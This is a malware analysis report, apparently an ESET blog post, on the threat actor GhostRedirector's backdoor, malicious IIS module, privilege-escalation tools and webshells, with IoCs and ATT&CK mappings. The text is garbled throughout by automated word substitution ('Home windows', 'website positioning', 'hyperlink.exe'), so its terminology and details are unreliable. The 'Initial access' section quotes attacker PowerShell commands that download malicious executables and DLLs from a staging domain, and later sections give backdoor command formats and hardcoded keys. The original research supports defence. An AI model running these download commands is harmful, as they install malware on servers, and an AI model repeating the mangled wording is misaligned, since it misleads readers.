Backdoors with a aspect of Potatoes

ESET researchers have recognized a brand new risk actor, whom we’ve named GhostRedirector, that compromised at the very least 65 Home windows servers primarily in Brazil, Thailand, and Vietnam. GhostRedirector used two beforehand undocumented, customized instruments: a passive C++ backdoor that we named Rungan, and a malicious Web Info Companies (IIS) module that we named Gamshen.

Whereas Rungan has the aptitude of executing instructions on a compromised server, the aim of Gamshen is to offer website positioning fraud as-a-service, i.e., to govern search engine outcomes, boosting the web page rating of a configured goal web site. Although Gamshen solely modifies the response when the request comes from Googlebot – i.e., it doesn’t serve malicious content material or in any other case have an effect on common guests of the web sites – participation within the website positioning fraud scheme can damage the compromised host web site popularity by associating it with shady website positioning methods and the boosted web sites.

Apparently, Gamshen is applied as a local IIS module – IIS (Web Info Companies) is Microsoft’s Home windows net server software program, which has a modular structure supporting two forms of extensions: native (C++ DLL) and managed (.NET meeting). There are various kinds of malware that may abuse this know-how; our 2021 white paper Anatomy of native IIS malware offers a deep perception into the forms of native IIS threats and their structure. Gamshen falls underneath the class of a trojan with the principle purpose of facilitating website positioning fraud, much like IISerpent, which we documented beforehand.

Moreover Rungan and Gamshen, GhostRedirector additionally makes use of a collection of different customized instruments, in addition to the publicly identified exploits EfsPotato and BadPotato, to create a privileged consumer on the server that can be utilized to obtain and execute different malicious parts with larger privileges, or used as a fallback in case the Rungan backdoor or different malicious instruments are faraway from the compromised server. We consider with medium confidence {that a} China-aligned risk actor was behind these assaults. On this blogpost we offer perception into the GhostRedirector arsenal used to compromise its victims.

Key factors of this blogpost:

• We noticed at the very least 65 Home windows servers compromised in June 2025.
• Victims are primarily positioned in Brazil, Thailand, and Vietnam.
• Victims aren’t associated to at least one particular sector however to a spread reminiscent of insurance coverage, healthcare, retail, transportation, know-how, and training.
• GhostRedirector has developed a brand new C++ backdoor, Rungan, able to executing instructions on the sufferer’s server.
• GhostRedirector has developed a malicious native IIS module, Gamshen, that may carry out website positioning fraud; we consider its objective is to artificially promote numerous playing web sites.
• GhostRedirector depends on public exploits reminiscent of BadPotato or EfsPotato for privilege escalation on compromised servers.
• Based mostly on numerous components, we conclude with medium confidence {that a} beforehand unknown, China-aligned risk actor was behind these assaults. We have now named it GhostRedirector.

Attribution

We haven’t been capable of attribute this assault to any identified group; thus we coined the brand new identify GhostRedirector, to cluster all actions documented on this blogpost. These actions began in December of 2024, however we had been capable of uncover different associated samples that lead us consider that GhostRedirector has been energetic since at the very least August 2024.

GhostRedirector has an arsenal that features the passive C++ backdoor Rungan, the malicious IIS trojan Gamshen, and a wide range of different utilities. We have now clustered these instruments collectively by:

• their presence on the identical compromised server throughout the identical timeframe,
• a shared staging server, and
• similarities within the PDB paths of varied GhostRedirector instruments, as defined beneath.

We consider with medium confidence that GhostRedirector is a China-aligned risk actor, based mostly on the next components:

• a number of samples of GhostRedirector instruments have hardcoded Chinese language strings,
• a code-signing certificates issued to a Chinese language firm was used within the assault, and
• one of many passwords for GhostRedirector-created customers on the compromised server comprises the phrase huang, which is Chinese language for yellow.

GhostRedirector isn’t the primary identified case of a China-aligned risk actor partaking in website positioning fraud through malicious IIS modules. Final yr, Cisco Talos printed a blogpost a couple of China-aligned risk actor known as DragonRank that conducts website positioning fraud. There’s some overlap within the sufferer geolocation (Thailand, India, and the Netherlands) and sectors (healthcare, transportation, and IT) in each assaults. Nonetheless, it’s doubtless that these had been opportunistic assaults, exploiting as many weak servers as attainable, moderately than concentrating on a selected set of entities. Moreover these similarities, we don’t have any purpose to consider that DragonRank and GhostRedirector are linked, so we observe these actions individually.

Victimology

Determine 1 exhibits a heatmap of the affected nations, combining knowledge from two sources:

• ESET telemetry, the place we detected these assaults between December 2024 and April 2025, and
• our internet-wide scan from June 2025 that we ran to get a greater understanding of the dimensions of the assault, and that allowed us to establish further victims.

We notified all of the victims that we recognized by way of our web scan in regards to the compromise.

With all of the collected data, we discovered that at the very least 65 Home windows servers had been compromised worldwide. Many of the affected servers are in Brazil, Peru, Thailand, Vietnam, and the USA. Word that a lot of the compromised servers positioned within the USA seem to have been rented to corporations which are based mostly in nations from the earlier listing. We consider that GhostRedirector was extra considering concentrating on victims in South America and South Asia.

Additionally, we noticed a small variety of instances in:

• Canada,
• Finland,
• India,
• the Netherlands,
• the Philippines, and
• Singapore.

GhostRedirector doesn’t appear to be considering a selected vertical or sector; we’ve seen victims in sectors reminiscent of training, healthcare, insurance coverage, transportation, know-how, and retail.

Preliminary entry

Based mostly on ESET telemetry, we consider that GhostRedirector beneficial properties preliminary entry to its victims by exploiting a vulnerability, most likely an SQL Injection. Then it makes use of PowerShell to obtain numerous malicious instruments – all from the identical staging server, 868id[.]com. In some instances, we’ve seen the attackers leveraging a distinct LOLBin, CertUtil, for a similar objective.

This conjecture is supported by our commentary that the majority unauthorized PowerShell executions originated from the binary sqlserver.exe, which holds a saved process xp_cmdshell that can be utilized to execute instructions on a machine.

The next are examples of instructions that we detected being executed on the compromised servers:

• cmd.exe /d /s /c ” powershell curl  https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:ProgramDataEfsNetAutoUser_br.exe”
• cmd.exe /d /s /c ” powershell curl  http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:ProgramDataEfsPotato_sign.exe”
• cmd.exe /d /s /c “powershell curl  https://xzs.868id[.]com/hyperlink.exe  -OutFile C:ProgramDatalink.exe”
• powershell  curl  https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile  C:ProgramDataMicrosoftDRMlogManagedEngine64.dll
• powershell  curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile  C:ProgramDataMicrosoftDRMlogminiscreen.dll

We additionally encountered that GhostRedirector put in GoToHTTP on the compromised net server, after downloading it from the identical staging server. GoToHTTP is a benign software that enables establishing a distant connection that may be accessed from a browser.

GhostRedirector used the listing C:ProgramData to put in its malware, significantly for the C++ backdoor and the IIS trojan they use the listing C:ProgramDataMicrosoftDRMlog.

Assault overview

An summary of the assault is proven in Determine 2. Attackers compromise a Home windows server, obtain and execute numerous malicious instruments: a privilege escalation software, malware that drops a number of webshells, the passive C++ backdoor Rungan, or the IIS trojan Gamshen. The aim of the privilege escalation instruments is to create a privileged consumer within the Directors group, so GhostRedirector can then leverage this account to execute privileged operations, or as a fallback in case the group loses entry to the compromised server.

 

Pernicious Potatoes performing privilege escalation

As a part of its arsenal, GhostRedirector created a number of instruments that leverage the native privilege escalation (LPE) tactic, doubtless based mostly on public EfsPotato and BadPotato exploits. Nearly all the analyzed samples had been obfuscated with .NET Reactor, with a number of layers of obfuscation. A number of the samples had been validly signed with a code-signing certificates issued by TrustAsia RSA Code Signing CA G3, to 深圳市迪元素科技有限公司 (Shenzhen Diyuan Know-how Co., Ltd.), and with a thumbprint of BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C.

The principle purpose of those samples was to create or modify a consumer account on the compromised server and add it to the Directors group.

Throughout our evaluation, we extracted from the analyzed samples the next usernames that had been used within the creation of those malicious administrator customers.

• MysqlServiceEx
• MysqlServiceEx2
• Admin

Determine 3 exhibits the decompiled code utilized by these samples to create a consumer after profitable LPE exploitation. The password has been redacted for safety functions.

As seen in Determine 3, these privilege escalation instruments use a customized C# class named CUserHelper. This class is applied in a DLL named Frequent.International.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8), which we named Comdai and that was embedded within the analyzed samples. We consider that Comdai was created by the identical builders as the remainder of the GhostRedirector arsenal, based mostly on the shared sample of their respective PDB paths – see the repeated x5 substring as proven in Desk 1, which is shared between Rungan, Gamshen, and the privilege escalation instruments.

Desk 1. PDB strings collected from GhostRedirector instruments

Pattern SHA1	Pattern sort	PDBs
049C343A9DAAF3A93756562ED73375082192F5A8	Comdai library	F:x5netToolsoMainCommon.InternationalobjReleaseCommon.International.pdb
28140A5A29EBA098BC6215DDAC8E56EACBB29B69	Rungan, C++ backdoor	F:x5AvoidRandomKill-mainx64ReleaseIISAgentDLL.pdb
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954	Gamshen, IIS trojan	F:x5AvoidRandomKill-mainReleaseManagedEngine64.pdb
371818BDC20669DF3CA44BE758200872D583A3B8	Software to create a brand new consumer	E:x5netToolsWinSystemobjReleaseuedit32_sign.pdb

Desk 2 offers an outline of the essential courses applied in Comdai which are utilized by GhostRedirector’s numerous privilege escalation instruments, together with the outline of the category habits. Word the ExeHelper class, which offers a operate to execute a file named hyperlink.exe – GhostRedirector used the identical filename to deploy the GoToHTTP software.

Additionally be aware the backdoor-like capabilities, together with community communication, file execution, listing itemizing, and manipulating companies and Home windows registry keys. Whereas we haven’t noticed these strategies being utilized by any identified GhostRedirector parts, this exhibits that Comdai is a flexible software that may assist numerous phases of the assault.

Desk 2. Courses applied in Comdai

C# class	Description
AES	Encrypts/Decrypts AES in ECB mode. Key: 030201090405060708091011121315
CUserHelper	Lists customers on a compromised server. Creates a consumer with specified credentials and provides it into a bunch identify additionally specified by an argument; by default it makes use of the Directors group.
ExeHelper	Used to execute a binary named hyperlink.exe. This identify was utilized by the attackers for the GoToHTTP binary.
HttpHelper	Can carry out by way of completely different strategies, GET and POST requests, with an unknown objective, to a hardcoded URL – https://www.cs01[.]store.
MsgData	Accommodates solely attributes, utilized by the category NodejsTX to deserialize a JSON object.
MyDll	Invokes strategies from an unknown DLL named MyDLL.dll.
NodejsTX	Gives a technique to speak with one other malicious part through pipes; the pipe is known as salamander_pipe, which might obtain parameters to create a specified consumer who’s then added to the directors group. This consumer creation is achieved by invoking a technique from the CUserHelper class.
RegeditHelper	Accommodates a technique for studying the worth of a specified home windows registry key.
ScanfDirectory	Accommodates strategies for itemizing the contents of a specified listing.
ServiceHelper	Accommodates strategies to restart a specified service.
SystemHelper	Accommodates strategies to execute a binary or execute instructions through ProcessStartInfo class. The binary or instructions are offered to ProcessStartInfo as arguments.
UserStruct	Accommodates solely attributes, username – string Teams – listing Attributes are utilized by class CUserHelper for itemizing customers.

Some exceptions to the rule

We found a pattern (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) utilizing the identical certificates, uploaded to VirusTotal in August 2024, which we consider is expounded to GhostRedirector’s arsenal, though we didn’t see it used throughout this marketing campaign. This assumption relies on the habits of the pattern, which tries to open a textual content file and ship its contents to a hardcoded URL. For this, the pattern comprises an embedded Comdai DLL and it invokes the Comdai C# class HttpHelper, which has a hardcoded URL that’s https://www.cs01[.]store – the identical area talked about in Desk 2.

We additionally found some privilege escalation instruments that differ slightly from the habits talked about beforehand.

For instance, in a single case (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), as a substitute of making a brand new consumer, it modifications the password of an present consumer Visitor for one hardcoded within the malware after which, utilizing the RID hijacking method, it makes an attempt so as to add this consumer to the administrator teams.

In one other case (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), the software not solely creates a brand new administrator consumer but additionally installs a number of webshells on a selected path within the sufferer’s servers, offered manually by GhostRedirector as an argument to the software.

These webshells are embedded within the assets of the pattern in cleartext, and the names are hardcoded; the names we noticed used are:

• C1.php
• Cmd.aspx
• Error.aspx
• K32.asxp
• K64.aspx
• LandGrey.asp

Zunput, an internet site data collector plus webshell dropper

One other attention-grabbing software utilized by GhostRedirector had the filename SitePuts.exe. This pattern (SHA‑1: EE22BA5453ED577F8664CA390EB311D067E47786), which we named Zunput, can be developed with the .NET Framework and signed with the certificates talked about above; it reads the IIS configuration system on the lookout for configured web sites and obtains the next details about them:

• bodily path on the server,
• identify, and
• for every web site, the next attributes:

  ○ protocol

  ○ IP handle, and

  ○ hostname

As soon as the data is collected, Zunput checks for the existence of the bodily path on the server, and in addition verifies that the listing comprises at the very least one file with the .php, .aspx, or .asp extension. This fashion, Zunput solely targets energetic web sites able to executing dynamic content material – solely in these directories does it then drop the embedded webshells. Webshells are embedded within the assets of the pattern and for the dates of every webshell (creation, modified, accessed), the malware makes use of the date of an present file from the listing.

Webshells are written in ASP, PHP, and JavaScript, and the names used are chosen randomly from the next listing:

• Xml
• Ajax
• Sync
• Loadapi
• Loadhelp
• Code
• Jsload
• Loadcss
• Loadjs
• Pop3
• Imap
• Api

Extensions used for the webshells:

Info collected throughout Zunput execution is saved in a file named log.txt (see an instance in Determine 4) within the listing from which it was executed. This data isn’t exfiltrated mechanically by Zunput, however it may be obtained by the attackers by way of a number of strategies; one may be through the deployed webshell talked about earlier than.

The ultimate payloads

Rungan, a passive C++ backdoor

Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69) is a passive C/C++ backdoor that we’ve seen put in in C:ProgramDataMicrosoftDRMlogminiscreen.dll.

This backdoor makes use of AES in CBC mode for string decryption. 030201090405060708090A0B0C0D0E0F is used for the IV and key, and based mostly on the malware’s PDB path F:x5AvoidRandomKill-mainx64ReleaseIISAgentDLL.pdb, we consider that GhostRedirector reuses the AES implementation from the AvoidRandomKill repository.

The principle performance of this backdoor is to register a plaintext hardcoded URL http://+:80/v1.0/8888/sys.html into the compromised server, bypassing IIS by abusing the HTTP Server API. Then the backdoor waits for a request that matches that URL, then parses and executes the obtained instructions on the compromised server.

Further URLs may be set in an optionally available configuration file named C:WindowsMicrosoft.NETFramework64v2.0.507271033vbskui.dll. Rungan will hearken to all incoming requests matching the configured patterns, and the configuration may be up to date through a backdoor command. To activate the backdoor, any incoming HTTP request should comprise a selected mixture of parameters and values, that are hardcoded in Rungan.

As soon as this test is met, Rungan makes use of the parameter motion to find out the backdoor command, and makes use of the information within the HTTP request physique because the command parameters. No encryption or encoding is used within the C&C protocol. Probably the most notable capabilities are creating a brand new consumer or executing instructions on the sufferer’s server; a full listing of backdoor instructions is proven in Desk 3.

Desk 3.Rungan backdoors instructions

Parameter	Physique	Description	Response
mkuser	consumer=&pwd=&groupname=	Creates the required consumer on the compromised server utilizing the NetUserAdd Home windows API.	Standing code of the operation.
listfolder	path=	This appears to be like unfinished: it collects data from chosen path however doesn’t exfiltrate it.	N/A
addurl	url=|	Registers URLs the backdoor will hear on. Could be multiple separated with |. The URL can be added to the configuration file.	If a URL fails to register, the response can be Failed: , in any other case All Okay.
cmd	cmdpath=&mingl=	Executes a command on the sufferer’s server utilizing pipes and the CreatePorcessA API.	Command output.

Determine 5 and Determine 6 present completely different examples of requests made to the malware throughout a dynamic evaluation utilizing the software postman in a simulated setting.

Gamshen, malicious IIS module

Developed as a C/C++ DLL, Gamshen is a malicious native IIS module. The principle performance of this malware is to intercept requests made to the compromised server from the Googlebot search engine crawler and solely in that case modify the professional response of the server. The response is modified based mostly on knowledge requested dynamically from Gamshen’s C&C server. By doing this, GhostRedirector makes an attempt to govern the Google search rating of a selected, third-party web site, by utilizing manipulative, shady website positioning methods reminiscent of creating synthetic backlinks from the professional, compromised web site to the goal web site. We beforehand documented a case of an IIS trojan utilizing related ways: see IISerpent: Malware-driven website positioning fraud as a service.

It is essential to say {that a} common consumer who visits the affected web site wouldn’t see any modifications and wouldn’t be affected by the malicious habits as a result of Gamshen doesn’t set off any of its malicious exercise on requests from common guests.

Determine 7 exhibits how a malicious module taking part within the IIS website positioning fraud scheme modifies the professional response of a compromised server when a request is comprised of the Google Crawler, aka Googlebot.

As a way to do that, the attackers have applied their very own malicious code for the next IIS occasion handlers:

• OnBeginRequest
• OnPreExecuteRequestHandler
• OnPostExecuteRequestHandler
• OnSendResponse

When the compromised server receives an HTTP request, the request goes by way of the IIS request processing pipeline, which triggers these handlers in numerous steps of the method – notably, the OnSendResponse handler is triggered simply earlier than the HTTP response is distributed out by the compromised server. Since Gamshen is put in as an IIS module, it mechanically intercepts every incoming HTTP request at these steps, and performs three actions.

First, it performs a collection of validations to filter solely HTTP requests of curiosity:

• The request should originate from a Google crawler: both the Person-Agent header comprises the string Googlebot, or the Referer comprises the string google.com.
• The HTTP technique should not be POST.
• The requested useful resource isn’t a picture, stylesheet, or related static useful resource, i.e., it doesn’t have any of the next extensions: .jpg, .resx, .png, .jpeg, .bmp, .gif, .ico, .css, or .js. That is prone to keep away from breaking UI performance.
• The URL should comprise the string android_ or match any of the next common expressions:

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})/([a-zA-Z0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([a-zA-Z]{8,10})(/|.w+)?

  ○ [/]?([a-zA-Z0-9]{6,8})/([a-zA-Z0-9]{6,8})(/|.phtml|.xhtml|.phtm|.shtml)

  ○ [/]?([a-zA-Z0-9_]{14})(/|.html|.htm)

  ○ [/]?([a-zA-Z0-9]{6})/([a-zA-Z0-9]{8})(/|.html|.htm)

  ○ [/]?([a-z0-9]{6}).xhtml

Second, Gamshen modifies the response supposed for the search engine crawler with knowledge obtained from its personal C&C server, brproxy.868id[.]com. We have now noticed three URLs getting used for this objective:

• https://brproxy.868id[.]com/index_base64.php?
• https://brproxy.868id[.]com/tz_base64.php?
• https://brproxy.868id[.]com/url/index_base64.php

In all instances, the next hardcoded Person-Agent string is used: Mozilla/5.0 (appropriate; Googlebot/2.1; +http://www.google.com/bot.html). A base64-encoded response is predicted, which is then decoded and injected into the HTTP response supposed for the search engine crawler.

Lastly, on the final step of the request processing pipeline, simply earlier than the HTTP response is distributed out – the OnSendResponse occasion handler verifies the response for these crawler requests. If the response has the 404 HTTP standing code – i.e., Gamshen had not been capable of get hold of the malicious knowledge from its C&C server, then it as a substitute performs a redirect to a distinct C&C server: http://gobr.868id[.]com/tz.php.

We weren’t capable of get hold of a response from brproxy.868id[.]com or gobr.868id[.]com, however consider the information helps shady website positioning methods – reminiscent of key phrase stuffing, inserting malicious backlinks – or, in case of the redirection, making the search engine affiliate the compromised web site with the goal, third-party web site, thus poisoning the search index.

We had been, nonetheless, capable of pivot on these domains on VirusTotal and discover associated photographs – on this case, photographs promoting a playing software for Portuguese talking customers. We consider this web site is the beneficiary of the website positioning fraud scheme, facilitated by this malicious IIS module – Gamshen most likely makes an attempt to compromise as many web sites as attainable and misuse their popularity to drive visitors to this third-party web site.

Determine 8 and Determine 9 present two photographs doubtlessly utilized by GhostRedirector in its website positioning fraud scheme.

Conclusion

On this blogpost, we’ve offered a beforehand unknown, China-aligned risk actor, GhostRedirector, and its toolkit for compromising and abusing Home windows servers. Along with enabling distant command execution on the compromised servers, GhostRedirector additionally deploys a malicious IIS module, Gamshen, designed to govern Google search outcomes by way of shady website positioning ways. Gamshen abuses the credibility of the web sites hosted on the compromised server to advertise a third-party, playing web site – doubtlessly a paying shopper taking part in an website positioning fraud as-a-service scheme.

GhostRedirector additionally demonstrates persistence and operational resilience by deploying a number of distant entry instruments on the compromised server, on prime of making rogue consumer accounts, all to take care of long-term entry to the compromised infrastructure.

Mitigation suggestions may be present in our complete white paper. For any inquiries, or to make pattern submissions associated to the topic, contact us at threatintel@eset.com.

IoCs

A complete listing of indicators of compromise (IoCs) and samples may be present in our GitHub repository.

Information

SHA-1	Filename	Detection	Description
EE22BA5453ED577F8664CA390EB311D067E47786	SitePut.exe	MSIL/Agent.FEZ	Zunput, data collector and webshell installer.
677B3F9D780BE184528DE5967936693584D9769A	EfsNetAutoUser.exe	MSIL/HackTool.Agent.QJ	A customized software utilizing the EfsPotato exploit to create a brand new consumer on the compromised server.
5D4D7C96A9E302053BDFAF2449F9A2AB3C806E63	NetAutoUser.exe	MSIL/AddUser.S	A customized software utilizing the BadPotato exploit to create a brand new consumer on the compromised server.
28140A5A29EBA098BC6215DDAC8E56EACBB29B69	miniscreen.dll	Win64/Agent.ELA	Rungan, a passive C++ backdoor.
371818BDC20669DF3CA44BE758200872D583A3B8	auto.exe	Generik.KJWBIPC	A software to create a brand new consumer on the compromised server.
9DD282184DDFA796204C1D90A46CAA117F46C8E1	auto_sign.exe	MSIL/Agent.XQL	A software to create a brand new consumer or deploy webshells on the compromised server.
87F354EAA1A6ED5AE51C4B1A1A801B6CF818DAFC	EfsNetAutoUser.exe	MSIL/HackTool.Agent.QJ	A customized software utilizing the EfsPotato exploit to create a brand new consumer on the compromised server.
5A01981D3F31AF47614E51E6C216BED70D921D60	DotNet4.5.exe	MSIL/AddUser.S	Customized software utilizing BadPotato exploit to raise privileges of an present consumer.
6EBD7498FC3B744CED371C379BA537077DD97036	NetAUtoUser_sign.exe	MSIL/AddUser.S	Customized software utilizing BadPotato exploit to elevated privileges of an present consumer.
0EE926E29874324E52DE816B74B12069529BB556	hyperlink.exe	Win64/RemoteAdmin.GotoHTTP. A doubtlessly unsafe software	GoToHTTP software.
373BD3CED51E19E88876B80225ECA65A5C01413F	N/A	PHP/Webshell.NWE	Webshell.
5CFFC4B3B96256A45FB45056AE0A9DC76329C25A	N/A	ASP/Webshell.MP	Webshell.
B017CEE02D74C92B2C65517101DC72AFA7D18F16	N/A	PHP/Webshell.OHB	Webshell.
A8EE056799BFEB709C08D0E41D9511CED5B1F19D	N/A	ASP/Webshell.UV	Webshell.
C4681F768622BD613CBF46B218CDA06F87559825	N/A	ASP/Webshell.KU	Webshell.
E69E4E5822A81F68107B933B7653C487D055C51B	N/A	ASP/Webshell.UZ	Webshell.
A3A55E4C1373E8287E4E4D5D3350AC665E1411A7	N/A	ASP/Webshell.UY	Webshell.
E6E4634CE5AFDA0688E73A2C21A2ECDABD5E155D	N/A	ASP/Webshell.UY	Webshell.
5DFC2D0858DD7E811CD19938B8C28468BE494CB6	N/A	ASP/Webshell.UX	Webshell.
08AB5CC8618FA593D2DF91900067DB464DC72B3E	ManagedEngine32_v2.dll	Win32/BadIIS.AG	Gamshen, a malicious IIS module.
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954	ManagedEngine64_v2.dll	Win64/BadIIS.CY	Gamshen, a malicious IIS module.
049C343A9DAAF3A93756562ED73375082192F5A8	N/A	MSIL/Agent.FFZ	Comdai, a malicious multipurpose DLL used to create a malicious consumer.

Community

IP	Area	Internet hosting supplier	First seen	Particulars
N/A	xzs.868id[.]com	N/A	2024‑12‑03	GhostRedirector staging server, hosted on Cloudflare.
104.233.192[.]1	xz.868id[.]com	PEG TECH INC	2024‑12‑03	GhostRedirector staging server.
104.233.210[.]229	q.822th[.]com www.881vn[.]com	PEG TECH INC	2023‑10‑06	GhostRedirector staging server.
N/A	gobr.868id[.]com	N/A	2024‑08‑25	Gamshen C&C server, hosted on Cloudflare.
N/A	brproxy.868id[.]com	N/A	2024‑08‑25	Gamshen C&C server, hosted on Cloudflare.
43.228.126[.]4	www.cs01[.]store	XIMBO Web Restricted	2024‑04‑01	Comdai C&C server.
103.251.112[.]11	N/A	IRT‑HK‑ANS	N/A	GhostRedirector staging server.

MITRE ATT&CK methods

This desk was constructed utilizing model 17 of the MITRE ATT&CK framework.

Tactic	ID	Identify	Description
Useful resource Growth	T1588.002	Receive Capabilities: Software	GhostRedirector makes use of .NET Reactor to obfuscate its instruments, and used EfsPotato and BadPotato to develop customized privilege escalation instruments.
	T1587.001	Develop Capabilities: Malware	GhostRedirector develops its personal malware
	T1608.006	Stage Capabilities: website positioning Poisoning	GhostRedirector makes use of website positioning poisoning to govern search outcomes and drive visitors to a third-party web site.
	T1583.001	Purchase Infrastructure: Domains	GhostRedirector makes use of malicious domains for internet hosting payloads and for its C&C servers.
	T1583.004	Purchase Infrastructure: Server	GhostRedirector leverages Cloudflare on its infrastructure.
	T1608.001	Stage Capabilities: Add Malware	GhostRedirector has staged Rungan and Gamshen on attacker-controlled servers.
	T1608.002	Stage Capabilities: Add Software	GhostRedirector has staged numerous malicious and bonafide instruments on attacker-controlled servers.
	T1588.003	Receive Capabilities: Code Signing Certificates	GhostRedirector obtained a certificates for signing its instruments, like these for privilege escalation.
Preliminary Entry	T1190	Exploit Public-Going through Software	GhostRedirector exploits an unknown SQL injection vulnerability on the sufferer’s server.
Execution	T1106	Native API	GhostRedirector might use APIs reminiscent of HttpInitialize and HttpAddUrl for registering a URL.
	T1059.001	Command and Scripting Interpreter: PowerShell	GhostRedirector makes use of PowerShell interpreter to obtain malware.
	T1059.003	Command and Scripting Interpreter: Home windows Command Shell	GhostRedirector can execute cmd.exe instructions to obtain malware.
	T1559	Inter-Course of Communication	Comdai can create a pipe to speak and obtain data from one other course of.
Persistence	T1546	Occasion Triggered Execution	Gamshen is loaded by the IIS Employee Course of (w3wp.exe) when the IIS server receives an inbound HTTP request.
Privilege Escalation	T1134	Entry Token Manipulation	GhostRedirector can manipulate tokens to carry out an area privilege escalation.
	T1112	Modify Registry	GhostRedirector can modify a Home windows registry key to carry out RID hijacking.
Protection Evasion	T1027	Obfuscated Information or Info	GhostRedirector obfuscates its native privilege escalation instruments utilizing .NET Reactor.
	T1027.009	Obfuscated Information or Info: Embedded Payloads	GhostRedirector embedded webshells into its payloads like Zunput to be dropped on compromised server.
	T1140	Deobfuscate/Decode Information or Info	GhostRedirector makes use of AES in CBC mode to decrypt strings within the backdoor Rungan.
Discovery	T1083	File and Listing Discovery	GhostRedirector can use Zunput to listing listing content material on a sufferer’s server.
Command and Management	T1105	Ingress Software Switch	GhostRedirector can abuse the software certutil.exe to obtain malware.
	T1219	Distant Entry Software program	GhostRedirector might use the GoToHTTP software for connecting remotely to victims.
	T1071.001	Software Layer Protocol: Internet Protocols	GhostRedirector depends on HTTP to speak with the backdoor Rungan.
	T1008	Fallback Channels	GhostRedirector can deploy the software GoToHTTP or create malicious customers on the compromised server to take care of entry.
Affect	T1565	Knowledge Manipulation	GhostRedirector can modify the response of a compromised server supposed for the Google crawler, in makes an attempt to affect search outcomes order.